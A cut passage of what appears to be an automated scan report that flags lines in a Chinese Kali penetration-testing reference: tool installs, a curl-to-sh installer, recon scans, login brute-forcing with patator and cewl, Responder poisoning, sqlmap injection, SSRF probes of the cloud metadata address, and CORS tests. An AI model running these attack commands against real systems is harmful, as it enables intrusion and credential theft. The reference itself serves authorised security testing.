  • Network accessline 77
    - [Kali dnstwist](https://www.kali.org/tools/dnstwist/)

kali-pentest-zh/references/information-gathering/tools/dnsx.md

  • Dangerous shell operationline 15
    sudo apt install dnsx
  • Network accessline 80
    - [dnsx (GitHub)](https://github.com/projectdiscovery/dnsx)
  • Network accessline 81
    - [Kali dnsx](https://www.kali.org/tools/dnsx/)

kali-pentest-zh/references/information-gathering/tools/eyewitness.md

  • Dangerous shell operationline 15
    sudo apt install eyewitness
  • Network accessline 41
    # 单个目标 eyewitness --single http://target.com --web -d /tmp/
  • Network accessline 42
    eyewitness --single http://target.com --web -d /tmp/
  • Network accessline 67
    - [EyeWitness GitHub](https://github.com/RedSiege/EyeWitness)

kali-pentest-zh/references/information-gathering/tools/fierce.md

  • Dangerous shell operationline 15
    sudo apt install fierce
  • Network accessline 73
    - [fierce GitHub](https://github.com/mschwager/fierce)

kali-pentest-zh/references/information-gathering/tools/finalrecon.md

  • Dangerous shell operationline 15
    sudo apt install finalrecon
  • Network accessline 50
    # 全面侦察(运行所有模块) finalrecon --url http://example.com --full
  • Network accessline 51
    finalrecon --url http://example.com --full
  • Network accessline 53
    # 仅头部和 SSL 分析 finalrecon --url http://example.com --headers --sslinfo
  • Network accessline 54
    finalrecon --url http://example.com --headers --sslinfo
  • Network accessline 56
    # DNS + 子域名枚举 finalrecon --url http://example.com --dns --sub
  • Network accessline 57
    finalrecon --url http://example.com --dns --sub
  • Network accessline 59
    # Web 爬取 + Wayback URL finalrecon --url http://example.com --crawl --wayback
  • Network accessline 60
    finalrecon --url http://example.com --crawl --wayback
  • Network accessline 62
    # 端口扫描 + WHOIS finalrecon --url http://example.com --ps --whois
  • Network accessline 63
    finalrecon --url http://example.com --ps --whois
  • Network accessline 78
    - [finalrecon(GitHub)](https://github.com/thewhiteh4t/FinalRecon)
  • Network accessline 79
    - [Kali finalrecon](https://www.kali.org/tools/finalrecon/)

kali-pentest-zh/references/information-gathering/tools/findomain.md

  • Dangerous shell operationline 15
    sudo apt install findomain
  • Network accessline 71
    - [Findomain(GitHub)](https://github.com/Findomain/Findomain)
  • Network accessline 72
    - [Kali Findomain](https://www.kali.org/tools/findomain/)

kali-pentest-zh/references/information-gathering/tools/fping.md

  • Dangerous shell operationline 15
    sudo apt install fping
  • Network accessline 72
    - [fping 官方网站](https://fping.org/)
  • Network accessline 73
    - [Kali fping](https://www.kali.org/tools/fping/)

kali-pentest-zh/references/information-gathering/tools/getallurls.md

  • Dangerous shell operationline 15
    sudo apt install getallurls
  • Network accessline 53
    # 使用代理 echo "example.com" | gau -p http://127.0.0.1:8080
  • Network accessline 54
    echo "example.com" | gau -p http://127.0.0.1:8080
  • Network accessline 79
    - [getallurls / gau(GitHub)](https://github.com/lc/gau)
  • Network accessline 80
    - [Kali getallurls](https://www.kali.org/tools/getallurls/)

kali-pentest-zh/references/information-gathering/tools/gowitness.md

  • Dangerous shell operationline 15
    sudo apt install gowitness
  • Network accessline 58
    # 单个 URL 截图(v3) gowitness scan single -u http://target.com --write-db
  • Network accessline 59
    gowitness scan single -u http://target.com --write-db
  • Network accessline 60
    #   v2.x 遗留:gowitness single http://target.com
  • Network accessline 81
    gowitness report server --host 127.0.0.1 --port 7171 --db-uri sqlite://gowitness.sqlite3 #   v2.x 遗留:gowitness report serve --address 127.0.0.1:7171 # 访问 http://127.0.0.1:7171
  • Network accessline 83
    # 访问 http://127.0.0.1:7171
  • Network accessline 94
    # 使用代理(v3 使用 --chrome-proxy;v2 使用 --proxy) gowitness scan file -f urls.txt --chrome-proxy http://127.0.0.1:8080 --write-db
  • Network accessline 95
    gowitness scan file -f urls.txt --chrome-proxy http://127.0.0.1:8080 --write-db
  • Network accessline 111
    - [gowitness(GitHub)](https://github.com/sensepost/gowitness)

kali-pentest-zh/references/information-gathering/tools/h8mail.md

  • Dangerous shell operationline 15
    sudo apt install h8mail
  • Network accessline 119
    - [h8mail(GitHub)](https://github.com/khast3x/h8mail)
  • Network accessline 120
    - [Kali h8mail](https://www.kali.org/tools/h8mail/)

kali-pentest-zh/references/information-gathering/tools/hakrawler.md

  • Dangerous shell operationline 15
    sudo apt install hakrawler
  • Network accessline 25
    | `-subs` | 跟踪子域名链接 | | `-t <n>` | 线程数(默认:8) | | `-proxy <url>` | 代理 URL(如 http://127.0.0.1:8080) |
  • Network accessline 26
    | `-t <n>` | 线程数(默认:8) | | `-proxy <url>` | 代理 URL(如 http://127.0.0.1:8080) | | `-h` | 自定义请求头(`"Name: value;;Name2: value2"` 格式,多个请求头以 `;;` 分隔) |
  • Network accessline 27
    | `-proxy <url>` | 代理 URL(如 http://127.0.0.1:8080) |
  • Network accessline 37
    # 爬取单个 URL echo https://example.com | hakrawler
  • Network accessline 38
    echo https://example.com | hakrawler
  • Network accessline 40
    # 爬取深度为 3 echo https://example.com | hakrawler -d 3
  • Network accessline 41
    echo https://example.com | hakrawler -d 3
  • Network accessline 43
    # 跟踪子域名 echo https://example.com | hakrawler -subs
  • Network accessline 44
    echo https://example.com | hakrawler -subs
  • Network accessline 52
    # 通过 Burp Suite 代理路由流量 echo https://example.com | hakrawler -proxy http://127.0.0.1:8080 -insecure
  • Network accessline 53
    echo https://example.com | hakrawler -proxy http://127.0.0.1:8080 -insecure
  • Network accessline 55
    # 提取 JavaScript 文件 echo https://example.com | hakrawler | grep '\.js$'
  • Network accessline 56
    echo https://example.com | hakrawler | grep '\.js$'
  • Network accessline 71
    - [hakrawler(GitHub)](https://github.com/hakluke/hakrawler)
  • Network accessline 72
    - [Kali hakrawler](https://www.kali.org/tools/hakrawler/)

kali-pentest-zh/references/information-gathering/tools/hosthunter.md

  • Dangerous shell operationline 15
    sudo apt install hosthunter
  • Network accessline 19
    # 或从源码安装 git clone https://github.com/SpiderLabs/HostHunter.git
  • Network accessline 20
    git clone https://github.com/SpiderLabs/HostHunter.git
  • Network accessline 99
    - [HostHunter(GitHub)](https://github.com/SpiderLabs/HostHunter)
  • Network accessline 100
    - [Kali HostHunter](https://www.kali.org/tools/hosthunter/)

kali-pentest-zh/references/information-gathering/tools/httprobe.md

  • Dangerous shell operationline 15
    sudo apt install httprobe
  • Network accessline 65
    - [httprobe(GitHub)](https://github.com/tomnomnom/httprobe)
  • Network accessline 66
    - [Kali httprobe](https://www.kali.org/tools/httprobe/)

kali-pentest-zh/references/information-gathering/tools/httpx.md

  • Dangerous shell operationline 17
    sudo apt install httpx-toolkit
  • Network accessline 67
    httpx-toolkit -u https://example.com -sc -title -td -server
  • Network accessline 109
    httpx-toolkit -l targets.txt -sc -title -proxy http://127.0.0.1:8080 -rl 10 -threads 5
  • Network accessline 127
    - [httpx - GitHub](https://github.com/projectdiscovery/httpx)
  • Network accessline 128
    - [httpx - ProjectDiscovery Documentation](https://docs.projectdiscovery.io/tools/httpx/overview)

kali-pentest-zh/references/information-gathering/tools/ldeep.md

  • Dangerous shell operationline 15
    sudo apt install ldeep
  • Network accessline 144
    - [ldeep(GitHub)](https://github.com/franc-pentest/ldeep)
  • Network accessline 145
    - [Kali ldeep](https://www.kali.org/tools/ldeep/)

kali-pentest-zh/references/information-gathering/tools/masscan.md

  • Dangerous shell operationline 17
    sudo apt install masscan
  • Network accessline 19
    # 从源码编译 git clone https://github.com/robertdavidgraham/masscan
  • Network accessline 20
    git clone https://github.com/robertdavidgraham/masscan
  • Network accessline 120
    - [masscan GitHub](https://github.com/robertdavidgraham/masscan)

kali-pentest-zh/references/information-gathering/tools/massdns.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install massdns
  • Network accessline 59
    - [massdns GitHub](https://github.com/blechschmidt/massdns)
  • Network accessline 60
    - [Kali massdns](https://www.kali.org/tools/massdns/)

kali-pentest-zh/references/information-gathering/tools/metagoofil.md

  • Dangerous shell operationline 15
    sudo apt install metagoofil
  • Network accessline 87
    - [Metagoofil - GitHub](https://github.com/opsdisk/metagoofil)
  • Network accessline 88
    - [Metagoofil - Kali Tools](https://www.kali.org/tools/metagoofil/)

kali-pentest-zh/references/information-gathering/tools/naabu.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install naabu
  • Network accessline 76
    - [naabu GitHub](https://github.com/projectdiscovery/naabu)
  • Network accessline 77
    - [naabu Documentation](https://docs.projectdiscovery.io/tools/naabu/overview)
  • Network accessline 78
    - [Kali naabu](https://www.kali.org/tools/naabu/)

kali-pentest-zh/references/information-gathering/tools/nbtscan.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install nbtscan
  • Network accessline 68
    - [nbtscan Project](http://www.unixwiz.net/tools/nbtscan.html)
  • Network accessline 69
    - [Kali nbtscan](https://www.kali.org/tools/nbtscan/)

kali-pentest-zh/references/information-gathering/tools/netdiscover.md

  • Dangerous shell operationline 15
    sudo apt install netdiscover
  • Dangerous shell operationline 44
    sudo netdiscover -r 192.168.1.0/24
  • Dangerous shell operationline 47
    sudo netdiscover -i eth0 -r 192.168.1.0/24
  • Dangerous shell operationline 50
    sudo netdiscover -p -i eth0
  • Dangerous shell operationline 53
    sudo netdiscover -r 10.0.0.0/24 -f
  • Dangerous shell operationline 56
    sudo netdiscover -r 192.168.1.0/24 -s 100
  • Network accessline 71
    - [netdiscover GitHub](https://github.com/netdiscover-scanner/netdiscover)
  • Network accessline 72
    - [Kali netdiscover](https://www.kali.org/tools/netdiscover/)

kali-pentest-zh/references/information-gathering/tools/nmap.md

  • Dangerous shell operationline 15
    sudo apt install nmap
  • Network accessline 296
    - [Nmap 参考指南](https://nmap.org/book/man.html)
  • Network accessline 297
    - [Nmap NSE 脚本](https://nmap.org/nsedoc/)
  • Network accessline 298
    - [Nmap 官网](https://nmap.org/)

kali-pentest-zh/references/information-gathering/tools/p0f.md

  • Dangerous shell operationline 15
    sudo apt install p0f
  • Dangerous shell operationline 39
    sudo p0f -i eth0
  • Dangerous shell operationline 45
    sudo p0f -i eth0 -o /tmp/p0f.log
  • Dangerous shell operationline 48
    sudo p0f -i eth0 -s /tmp/p0f.sock
  • Network accessline 63
    - [p0f 官网](https://lcamtuf.coredump.cx/p0f3/)
  • Network accessline 64
    - [p0f GitHub(非官方镜像)](https://github.com/p0f/p0f)

kali-pentest-zh/references/information-gathering/tools/recon-ng.md

  • Dangerous shell operationline 17
    sudo apt install recon-ng
  • Network accessline 17
    sudo apt install recon-ng git clone https://github.com/lanmaster53/recon-ng
  • Network accessline 18
    git clone https://github.com/lanmaster53/recon-ng
  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Network accessline 229
    - [recon-ng GitHub](https://github.com/lanmaster53/recon-ng)
  • Network accessline 230
    - [recon-ng Wiki](https://github.com/lanmaster53/recon-ng/wiki)

kali-pentest-zh/references/information-gathering/tools/sherlock.md

  • Dangerous shell operationline 15
    sudo apt install sherlock
  • Network accessline 22
    # 或从源码克隆安装 git clone https://github.com/sherlock-project/sherlock.git
  • Network accessline 23
    git clone https://github.com/sherlock-project/sherlock.git
  • Network accessline 123
    - [Sherlock Project(GitHub)](https://github.com/sherlock-project/sherlock)
  • Network accessline 124
    - [Kali Sherlock](https://www.kali.org/tools/sherlock/)

kali-pentest-zh/references/information-gathering/tools/shodan.md

  • Access to secretsline 18
    [Credential-related source omitted]
  • Network accessline 113
    - [Shodan CLI](https://help.shodan.io/command-line-interface/0-installation)
  • Network accessline 114
    - [Shodan 开发者 API](https://developer.shodan.io/api)

kali-pentest-zh/references/information-gathering/tools/spiderfoot.md

  • Dangerous shell operationline 15
    sudo apt install spiderfoot
  • Network accessline 46
    # 启动 Web 界面(访问 http://127.0.0.1:5001 )
  • Network accessline 77
    - [SpiderFoot (GitHub)](https://github.com/smicallef/spiderfoot)
  • Network accessline 78
    - [Kali spiderfoot](https://www.kali.org/tools/spiderfoot/)

kali-pentest-zh/references/information-gathering/tools/subfinder.md

  • Dangerous shell operationline 15
    sudo apt install subfinder
  • Network accessline 71
    - [subfinder(GitHub)](https://github.com/projectdiscovery/subfinder)
  • Network accessline 72
    - [Kali subfinder](https://www.kali.org/tools/subfinder/)

kali-pentest-zh/references/information-gathering/tools/sublist3r.md

  • Dangerous shell operationline 17
    sudo apt install sublist3r
  • Network accessline 63
    - [Sublist3r GitHub](https://github.com/aboul3la/Sublist3r)

kali-pentest-zh/references/information-gathering/tools/theHarvester.md

  • Dangerous shell operationline 17
    sudo apt install theharvester
  • Network accessline 17
    sudo apt install theharvester git clone https://github.com/laramies/theHarvester
  • Network accessline 18
    git clone https://github.com/laramies/theHarvester
  • Network accessline 100
    - [theHarvester GitHub](https://github.com/laramies/theHarvester)

kali-pentest-zh/references/information-gathering/tools/trufflehog.md

  • Dangerous shell operationline 15
    sudo apt install trufflehog
  • Network accessline 15
    sudo apt install trufflehog # 或从 GitHub releases 下载最新二进制文件 curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin
  • Dangerous shell operationline 17
    curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin
  • Network accessline 17
    curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin
  • Network accessline 43
    # 扫描远程 git 仓库(完整历史) trufflehog git https://github.com/target-org/target-repo.git
  • Network accessline 44
    trufflehog git https://github.com/target-org/target-repo.git
  • Access to secretsline 53
    [Credential-related source omitted]
  • Network accessline 55
    # JSON 输出用于自动化 trufflehog git https://github.com/target-org/target-repo.git --json > /tmp/secrets.json
  • Network accessline 56
    trufflehog git https://github.com/target-org/target-repo.git --json > /tmp/secrets.json
  • Network accessline 58
    # 仅显示已验证(确认活跃)的密钥 trufflehog git https://github.com/target-org/target-repo.git --results verified
  • Network accessline 59
    trufflehog git https://github.com/target-org/target-repo.git --results verified
  • Network accessline 61
    # 仅扫描最近的提交 trufflehog git https://github.com/target-org/target-repo.git --since-commit abc123
  • Network accessline 62
    trufflehog git https://github.com/target-org/target-repo.git --since-commit abc123
  • Network accessline 64
    # 跳过实时验证(更快、更安静) trufflehog git https://github.com/target-org/target-repo.git --no-verification
  • Network accessline 65
    trufflehog git https://github.com/target-org/target-repo.git --no-verification
  • Network accessline 80
    - [TruffleHog (GitHub)](https://github.com/trufflesecurity/trufflehog)
  • Network accessline 81
    - [Kali trufflehog](https://www.kali.org/tools/trufflehog/)

kali-pentest-zh/references/information-gathering/tools/wafw00f.md

  • Dangerous shell operationline 15
    sudo apt install wafw00f
  • Network accessline 36
    # 基础检测 wafw00f http://target.com
  • Network accessline 37
    wafw00f http://target.com
  • Network accessline 39
    # HTTPS wafw00f https://target.com
  • Network accessline 40
    wafw00f https://target.com
  • Network accessline 42
    # 检测所有可能的 WAF wafw00f -a https://target.com
  • Network accessline 43
    wafw00f -a https://target.com
  • Network accessline 48
    # JSON 输出 wafw00f https://target.com -o /tmp/waf_result.json -f json
  • Network accessline 49
    wafw00f https://target.com -o /tmp/waf_result.json -f json
  • Network accessline 51
    # 使用代理 wafw00f https://target.com -p http://127.0.0.1:8080
  • Network accessline 52
    wafw00f https://target.com -p http://127.0.0.1:8080
  • Network accessline 66
    - [wafw00f GitHub](https://github.com/EnableSecurity/wafw00f)

kali-pentest-zh/references/information-gathering/tools/whatweb.md

  • Dangerous shell operationline 17
    sudo apt install whatweb
  • Network accessline 32
    | 参数 | 说明 | |-----------|-------------| | `<target>` | URL / IP / CIDR / 文件 示例:`http://example.com` |
  • Network accessline 33
    |-----------|-------------| | `<target>` | URL / IP / CIDR / 文件 示例:`http://example.com` | | `-i <file>` | 从文件读取目标 示例:`-i targets.txt` |
  • Network accessline 34
    | `<target>` | URL / IP / CIDR / 文件 示例:`http://example.com` |
  • Network accessline 73
    # 基本 Web 指纹识别 whatweb http://example.com
  • Network accessline 74
    whatweb http://example.com
  • Network accessline 76
    # HTTPS 目标 whatweb https://example.com
  • Network accessline 77
    whatweb https://example.com
  • Network accessline 79
    # 详细输出 whatweb -v http://example.com
  • Network accessline 80
    whatweb -v http://example.com
  • Network accessline 82
    # 静默模式(仅输出结果) whatweb -q http://example.com
  • Network accessline 83
    whatweb -q http://example.com
  • Network accessline 102
    # 侵略性模式(更多探测,检测更多技术) whatweb -a 3 http://example.com
  • Network accessline 103
    whatweb -a 3 http://example.com
  • Network accessline 105
    # 最大侵略性(全面检测) whatweb -a 4 http://example.com
  • Network accessline 106
    whatweb -a 4 http://example.com
  • Network accessline 112
    # JSON 输出(便于解析) whatweb --log-json results.json http://example.com
  • Network accessline 113
    whatweb --log-json results.json http://example.com
  • Network accessline 115
    # XML 输出 whatweb --log-xml results.xml http://example.com
  • Network accessline 116
    whatweb --log-xml results.xml http://example.com
  • Network accessline 118
    # 详细日志 whatweb --log-verbose results.txt http://example.com
  • Network accessline 119
    whatweb --log-verbose results.txt http://example.com
  • Network accessline 125
    # HTTP 基础认证 whatweb --user admin:password http://example.com/admin
  • Network accessline 126
    whatweb --user admin:password http://example.com/admin
  • Network accessline 128
    # 使用 Cookie whatweb --cookie "session=abc123" http://example.com
  • Network accessline 129
    whatweb --cookie "session=abc123" http://example.com
  • Network accessline 131
    # 通过 Burp 代理 whatweb --proxy 127.0.0.1:8080 http://example.com
  • Network accessline 132
    whatweb --proxy 127.0.0.1:8080 http://example.com
  • Network accessline 134
    # 自定义 User-Agent whatweb -U "Mozilla/5.0 (Custom)" http://example.com
  • Network accessline 135
    whatweb -U "Mozilla/5.0 (Custom)" http://example.com
  • Network accessline 137
    whatweb --user-agent "Mozilla/5.0 (Custom)" http://example.com
  • Network accessline 166
    - [WhatWeb GitHub](https://github.com/urbanadventurer/WhatWeb)

kali-pentest-zh/references/information-gathering/tools/whois.md

  • Dangerous shell operationline 15
    sudo apt install whois
  • Network accessline 76
    - [whois GitHub](https://github.com/rfc1036/whois)
  • Network accessline 77
    - [RFC 3912 - WHOIS 协议](https://www.rfc-editor.org/rfc/rfc3912)

kali-pentest-zh/references/password/README.md

  • Network accessline 210
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest-zh/references/password/tools/brutespray.md

  • Dangerous shell operationline 15
    sudo apt install brutespray
  • Network accessline 77
    - [brutespray (GitHub)](https://github.com/x90skysn3k/brutespray)
  • Network accessline 78
    - [Kali brutespray](https://www.kali.org/tools/brutespray/)

kali-pentest-zh/references/password/tools/cewl.md

  • Dangerous shell operationline 15
    sudo apt install cewl
  • Network accessline 37
    # 基础爬取,最小 6 位单词 cewl http://target.com -m 6 -w /tmp/target_wordlist.txt
  • Network accessline 38
    cewl http://target.com -m 6 -w /tmp/target_wordlist.txt
  • Network accessline 40
    # 爬取深度 3,提取邮件 cewl http://target.com -d 3 -m 5 --email -w /tmp/wordlist.txt
  • Network accessline 41
    cewl http://target.com -d 3 -m 5 --email -w /tmp/wordlist.txt
  • Network accessline 43
    # 爬取 HTTPS cewl https://target.com -m 6 -w /tmp/wordlist.txt
  • Network accessline 44
    cewl https://target.com -m 6 -w /tmp/wordlist.txt
  • Network accessline 46
    # 加数字变体(结合 john 规则) cewl http://target.com -m 6 -w /tmp/base.txt
  • Network accessline 47
    cewl http://target.com -m 6 -w /tmp/base.txt
  • Network accessline 52
    # 爬取需要认证的页面 cewl http://target.com --auth_user admin --auth_pass password -m 6 -w /tmp/wordlist.txt
  • Network accessline 53
    cewl http://target.com --auth_user admin --auth_pass password -m 6 -w /tmp/wordlist.txt
  • Network accessline 68
    - [CeWL (GitHub)](https://github.com/digininja/CeWL)

kali-pentest-zh/references/password/tools/changeme.md

  • Dangerous shell operationline 15
    sudo apt install changeme
  • Network accessline 60
    # 使用代理扫描(配合 Burp Suite) changeme --protocols http --proxy http://127.0.0.1:8080 192.168.1.0/24
  • Network accessline 61
    changeme --protocols http --proxy http://127.0.0.1:8080 192.168.1.0/24
  • Network accessline 88
    - [changeme (GitHub)](https://github.com/ztgrace/changeme)
  • Network accessline 89
    - [Kali changeme](https://www.kali.org/tools/changeme/)

kali-pentest-zh/references/password/tools/chntpw.md

  • Dangerous shell operationline 15
    sudo apt install chntpw
  • Network accessline 67
    - [chntpw man page](https://manpages.debian.org/chntpw)
  • Network accessline 68
    - [Kali chntpw](https://www.kali.org/tools/chntpw/)

kali-pentest-zh/references/password/tools/crowbar.md

  • Dangerous shell operationline 15
    sudo apt install crowbar
  • Network accessline 72
    - [crowbar (GitHub)](https://github.com/galkan/crowbar)
  • Network accessline 73
    - [Kali crowbar](https://www.kali.org/tools/crowbar/)

kali-pentest-zh/references/password/tools/crunch.md

  • Dangerous shell operationline 15
    sudo apt install crunch
  • Network accessline 82
    - [crunch Debian man page](https://manpages.debian.org/unstable/crunch/crunch.1.en.html)

kali-pentest-zh/references/password/tools/fcrackzip.md

  • Dangerous shell operationline 15
    sudo apt install fcrackzip
  • Network accessline 63
    - [fcrackzip man page](https://manpages.debian.org/fcrackzip)
  • Network accessline 64
    - [Kali fcrackzip](https://www.kali.org/tools/fcrackzip/)

kali-pentest-zh/references/password/tools/gpp-decrypt.md

  • Dangerous shell operationline 15
    sudo apt install gpp-decrypt
  • Network accessline 59
    - [Kali gpp-decrypt](https://www.kali.org/tools/gpp-decrypt/)
  • Network accessline 60
    - [MS14-025 Advisory](https://learn.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-025)

kali-pentest-zh/references/password/tools/hashcat.md

  • Dangerous shell operationline 15
    sudo apt install hashcat
  • Dangerous shell operationline 62
    sudo gunzip /usr/share/wordlists/rockyou.txt.gz  # 仅当 .gz 存在且 .txt 不存在时执行
  • Network accessline 126
    - [Hashcat Wiki](https://hashcat.net/wiki/)
  • Network accessline 127
    - [Hashcat (GitHub)](https://github.com/hashcat/hashcat)
  • Network accessline 128
    - [Hashcat 官网](https://hashcat.net/hashcat/)

kali-pentest-zh/references/password/tools/hashid.md

  • Dangerous shell operationline 15
    sudo apt install hashid
  • Network accessline 64
    - [hashid (GitHub)](https://github.com/psypanda/hashID)
  • Network accessline 65
    - [Kali hashid](https://www.kali.org/tools/hashid/)

kali-pentest-zh/references/password/tools/hydra.md

  • Dangerous shell operationline 15
    sudo apt install hydra
  • Network accessline 66
    # 格式:"/path:POST_body:失败标志" # ⚠<U+FE0F> 失败标志必须匹配登录失败响应正文中的文本 # 运行前请用 Burp Suite 或 curl 确认确切的失败提示信息
  • Network accessline 68
    # 运行前请用 Burp Suite 或 curl 确认确切的失败提示信息
  • Network accessline 107
    - [THC-Hydra (GitHub)](https://github.com/vanhauser-thc/thc-hydra)

kali-pentest-zh/references/password/tools/john.md

  • Dangerous shell operationline 15
    sudo apt install john
  • Network accessline 91
    - [John the Ripper (GitHub)](https://github.com/openwall/john)
  • Network accessline 92
    - [John the Ripper 官网](https://www.openwall.com/john/)

kali-pentest-zh/references/password/tools/kerbrute.md

  • Network accessline 15
    # 从官方 GitHub releases 页面下载 Linux amd64 二进制文件 curl -L https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 -o kerbrute
  • Network accessline 16
    curl -L https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 -o kerbrute
  • Dangerous shell operationline 19
    sudo mv kerbrute /usr/local/bin/kerbrute
  • Network accessline 71
    - [kerbrute (GitHub)](https://github.com/ropnop/kerbrute)

kali-pentest-zh/references/password/tools/medusa.md

  • Dangerous shell operationline 15
    sudo apt install medusa
  • Network accessline 90
    - [Medusa (GitHub)](https://github.com/jmk-foofus/medusa)
  • Network accessline 91
    - [Kali medusa Package Tracker](https://pkg.kali.org/pkg/medusa)

kali-pentest-zh/references/password/tools/name-that-hash.md

  • Dangerous shell operationline 15
    sudo apt install name-that-hash
  • Network accessline 89
    - [Name-That-Hash (GitHub)](https://github.com/bee-san/Name-That-Hash)
  • Network accessline 90
    - [Kali name-that-hash](https://www.kali.org/tools/name-that-hash/)

kali-pentest-zh/references/password/tools/ncrack.md

  • Dangerous shell operationline 15
    sudo apt install ncrack
  • Network accessline 83
    - [Ncrack — Nmap Project](https://nmap.org/ncrack/)
  • Network accessline 84
    - [ncrack (GitHub)](https://github.com/nmap/ncrack)
  • Network accessline 85
    - [Kali ncrack](https://www.kali.org/tools/ncrack/)

kali-pentest-zh/references/password/tools/netexec.md

  • Dangerous shell operationline 15
    sudo apt install netexec
  • Network accessline 89
    - [NetExec (GitHub)](https://github.com/Pennyw0rth/NetExec)
  • Network accessline 90
    - [Kali netexec](https://www.kali.org/tools/netexec/)

kali-pentest-zh/references/password/tools/patator.md

  • Dangerous shell operationline 15
    sudo apt install patator
  • Network accessline 45
    # HTTP 表单 fuzz patator http_fuzz url=http://target.com/login method=POST body='user=FILE0&pass=FILE1' 0=users.txt 1=passwords.txt -x ignore:fgrep='Invalid'
  • Network accessline 46
    patator http_fuzz url=http://target.com/login method=POST body='user=FILE0&pass=FILE1' 0=users.txt 1=passwords.txt -x ignore:fgrep='Invalid'
  • Network accessline 64
    - [patator GitHub](https://github.com/lanjelot/patator)
  • Network accessline 65
    - [Kali patator](https://www.kali.org/tools/patator/)

kali-pentest-zh/references/password/tools/pdfcrack.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install pdfcrack
  • Network accessline 76
    - [pdfcrack on SourceForge](https://pdfcrack.sourceforge.net/)
  • Network accessline 77
    - [Kali pdfcrack](https://www.kali.org/tools/pdfcrack/)

kali-pentest-zh/references/password/tools/rainbowcrack.md

  • Dangerous shell operationline 15
    sudo apt install rainbowcrack
  • Network accessline 53
    # 下载预生成的表格(推荐——自行生成需要数天时间) # NTLM/LM 表格:https://ophcrack.sourceforge.io/tables.php
  • Network accessline 54
    # NTLM/LM 表格:https://ophcrack.sourceforge.io/tables.php
  • Network accessline 55
    # 免费表格:    https://www.freerainbowtables.com/
  • Network accessline 79
    - [Kali rainbowcrack](https://www.kali.org/tools/rainbowcrack/)
  • Network accessline 80
    - [Kali rainbowcrack package tracker](https://pkg.kali.org/pkg/rainbowcrack)

kali-pentest-zh/references/password/tools/responder.md

  • Dangerous shell operationline 15
    sudo apt install responder
  • Dangerous shell operationline 43
    sudo responder -I eth0
  • Dangerous shell operationline 46
    sudo responder -I eth0 -wd
  • Dangerous shell operationline 49
    sudo responder -I eth0 -A
  • Network accessline 73
    - [Responder (GitHub)](https://github.com/lgandx/Responder)

kali-pentest-zh/references/playbooks/api-security.md

  • Network accessline 24
    mitmdump -w /tmp/api.flows    mitmproxy2swagger -i /tmp/api.flows -o /tmp/openapi.yaml -p https://api.example.com
  • Network accessline 25
    mitmproxy2swagger -i /tmp/api.flows -o /tmp/openapi.yaml -p https://api.example.com
  • Network accessline 41
    # schemathesis — schema 驱动测试    st run https://target/openapi.json --checks all --url https://target
  • Network accessline 42
    st run https://target/openapi.json --checks all --url https://target
  • Network accessline 64
    ```bash           curl -sk https://<frontend-host>/main.js -o /tmp/main.js
  • Network accessline 65
    curl -sk https://<frontend-host>/main.js -o /tmp/main.js
  • Access to secretsline 85
    [Credential-related source omitted]
  • Network accessline 98
    ```bash           mitmdump -s /tmp/sign_addon.py --listen-port 8080 --set ssl_insecure=true --set http2=false &           # 验证: curl -sk -x http://127.0.0.1:8080 https://target/endpoint
  • Network accessline 99
    mitmdump -s /tmp/sign_addon.py --listen-port 8080 --set ssl_insecure=true --set http2=false &           # 验证: curl -sk -x http://127.0.0.1:8080 https://target/endpoint           ```
  • Network accessline 100
    # 验证: curl -sk -x http://127.0.0.1:8080 https://target/endpoint
  • Network accessline 116
    - 绕过成功时:直接注入静态绕过头(如 `-H "X-Signature: <bypass_value>"`)。      - 代理已构建时:所有工具通过代理路由(`--proxy=http://127.0.0.1:8080`)。
  • Network accessline 117
    - 代理已构建时:所有工具通过代理路由(`--proxy=http://127.0.0.1:8080`)。
  • Network accessline 163
    - 测试 API 参数的 SQL 注入、NoSQL 注入、命令注入、LDAP 注入和 XML 外部实体(XXE)攻击。    - 使用 `sqlmap`(参见 `../web/tools/sqlmap.md`)配合 API 专项选项:将代表性请求保存到文件并运行 `sqlmap -r request.txt --batch`;对 JSON 请求体使用 `--data` 并配合正确的 `--headers="Content-Type: application/json"`。  
  • Network accessline 164
    - 使用 `sqlmap`(参见 `../web/tools/sqlmap.md`)配合 API 专项选项:将代表性请求保存到文件并运行 `sqlmap -r request.txt --batch`;对 JSON 请求体使用 `--data` 并配合正确的 `--headers="Content-Type: application/json"`。    - 通过 URL 和文件参数测试 SSRF——提供内部地址(`http://169.254.169.254/`、`http
  • Network accessline 165
    - 通过 URL 和文件参数测试 SSRF——提供内部地址(`http://169.254.169.254/`、`http://127.0.0.1:<port>`)并观察响应。
  • Network accessline 172
    sqlmap -r /tmp/api_request.txt --batch --level=3 --risk=2    # JSON 请求体注入    sqlmap -u "https://api.example.com/v1/search" --data='{"query":"test"}' --headers="Content-Type: application/json" --batch
  • Network accessline 174
    sqlmap -u "https://api.example.com/v1/search" --data='{"query":"test"}' --headers="Content-Type: application/json" --batch
  • Network accessline 206
    # 使用任意来源测试 CORS    curl -s -H "Origin: https://evil.com" -I https://api.example.com/v1/endpoint | grep -i "access-control"
  • Network accessline 207
    curl -s -H "Origin: https://evil.com" -I https://api.example.com/v1/endpoint | grep -i "access-control"
  • Network accessline 208
    # 测试 null origin    curl -s -H "Origin: null" -I https://api.example.com/v1/endpoint | grep -i "access-control"    # 测试带凭据标志
  • Network accessline 209
    curl -s -H "Origin: null" -I https://api.example.com/v1/endpoint | grep -i "access-control"
  • Network accessline 211
    curl -s -H "Origin: https://evil.com" -H "Cookie: session=TOKEN" -I https://api.example.com/v1/endpoint | grep -i "access-control"

kali-pentest-zh/references/playbooks/cloud-native-assessment.md

